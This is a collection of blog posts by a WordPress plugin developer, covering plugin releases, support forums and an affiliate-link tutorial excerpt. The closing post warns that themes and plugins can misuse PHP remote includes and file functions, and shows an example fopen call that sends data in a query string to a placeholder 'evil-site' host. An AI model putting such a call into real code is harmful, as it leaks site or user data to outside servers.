Headzoo

Hey all,
I’ve released the first preview release of Rooster, a Digg API wrapper written in Java. The source code is available, and it’s released under the MIT license.
You can read more on the Rooster page.

Hi all,
Today I released a new version of aLinks. This version is not a major change from the previous version. In fact, if you’re not having any problems with 1.0rc1, then I don’t even recommend upgrading.

This version just takes care of some low hanging fruit, and fixes a few long running — and very annoying — bugs. The keyphrases grid — which was always breaking — is now fixed. This version also works with WordPress 2.5rc1. Plus I took care of a couple other small bugs.

You can read more and download it from the aLinks page.

Alex from WordPress Web 2.0 Spot-Er wrote a great tutorial on monetizing your blog using aLinks.

So you got your very own Web 2.0 blog, you riding the wave, you ARE feeling good about yourself … and rightfully so! You have every reason to be proud of your creation, whether you build it using Wordpress or any other platform. You have meticulously taken care of all design issues creating look and feel that makes people “WOW”, you got all the plugins that create an ultimate interactive platform for your visitors, you have wrote articles that generates traffic comparable to a tidal wave …

And guess what, if you have build your web 2.0 blog based on Wordpress – you have an excellent opportunity to monetize on your superb content and provide links to related services your visitors will be grateful. Better yet, you get paid a lot higher commissions while doing it.

If you have followed guidelines I have outlined on my pages to build web 2.0 blog using Wordpress you have already installed aLinks plugin. It is one plugin no Wordpress based blog should be without as it allows you to simply specify keyword or keyphrase, link it once through control panel to a related product and start earning either 50-75% from ClickBank product or 4-8% from Amazon, options to integrate eBay is also available along with a few others, which I will not discuss here.

You can read the rest of the well written tutorial from from his site.

Sure-Fire Way To Monetize Your Web 2.0 Wordpress Blog And Be Proud Of It

Here’s a video of my Live plugin in action, captured by Andy from FiddyP.

Live displays the page they’re visiting, where they came from (the referrer), and their IP address. All this happens in real time. In the video above, Andy was getting a spike of StumbleUpon traffic, and he was able to watch it happening in real time.

Thank you Andy for capturing this video. :)

So many times I wanted to switch the theme on my blog, but I wanted to see if I liked the theme first. The problem is there’s no way to switch the theme to see if I like it, without the rest of my site visitors seeing the new theme.

So I created the Theme Test Run plugin. With this plugin you can “test run” themes to see if you like them, or even tweak them, without your site visitors seeing the switch.

When you test run a theme, logged in administrators will see the new theme, but regular visitors to your site will not. They will still see the real activated theme.

You can read more about the plugin, and download it from http://headzoo.com/theme-test-run.

Hey all,
I’ve installed forum software (phpBB3) @ http://forums.headzoo.com. You’re all encouraged to use the forums to get help with plugin issues. I may even disable comments on the plugin pages in the future.

Hi everyone,
I want to apologize for the delays in releasing updates to some of my plugins, like aLinks, Live, and Edit N Place. I know there are many of you out there in the blogosphere that depend on them, and need some bugs fixed, and features added.

Keeping the plugins up to date, and dealing with user support can be pretty overwhelming, and I fell behind quite a bit. To keep things under control, I’m going to discontinue work on some of my fringe plugins. I’ll no longer be maintaining Flickr Spinnr, NET Bible, WP Anti-Wares and Post Tools. I’m also going to stop development on DiggApiNet. They should be thought of as abandonware from this point forward. If someone else wants to continue developing them, but all means have fun.

aLinks
I am actively developing the next version of aLinks. In fact the Subversion repo is at http://www.headzoo.com/subversion/alinks/branches/2.0/ (Note: It’s not working yet).

I’m stripping it down a bit, and some of the features of the past — such as click statistics — won’t be included in the next version, but they can be added with additional plugins that will be released in the future.

Version 2.0 is also being designed to work with just about any CMS. Meaning it’ll work with WordPress, Drupal, TypePad, Joomla, IP Board, etc.

Edit N Place
Version 0.8 is just on the horizon. In fact I’ve already been using it myself, but haven’t released it yet because it needs a little more spit and polish.

This version will work with WordPress 2.3 and greater, and support the new tagging features.

Additionally the new version will have the same WYSIWYG editor found in the WordPress admin area.

Live
I released the new version (v0.5) of Live today. It fixes some bugs found in the last version, and adds some often requested features. The most requested feature has been being able to ignore your own traffic to your site. That has been added. Also with version only admins can view the Live menu.

Support
Keep your eyes open for new forums. Trying to get support via the page comments really doesn’t work that well. Right now I’m just trying to decide which forum software to use.

Today I released the next version of my Live plugin. Here is a list of some of the changes:

• Bug fixes (of course).
• Viewing the Live menu is now restricted to admins.
• A new settings menu.
• You can now ignore your own traffic to your site with a cookie, or by IP address.
• A new details menu, that shows you a break down of your traffic, referrers, and popular pages.
• Can optionally expose your Live data via XML-RPC (To be used by third party programs).

You can read more on the Live page

When allow_url_include is turned on, the PHP function include can be used to insert remote files into your scripts.

Plugins shouldn’t include remote files, and themes especially have no reason.

The PHP functions fopen, file_get_contents, file, and readfile can be used to read files on remote servers when allow_url_fopen is turned on. Although the functions can’t be used to data to the server directly, they can be used to pass query arguments that may contain private data. As an example:

fopen('http://www.evil-site.com/?p=‘);

It’s possible that a plugin might need to open remote files, but themes never should.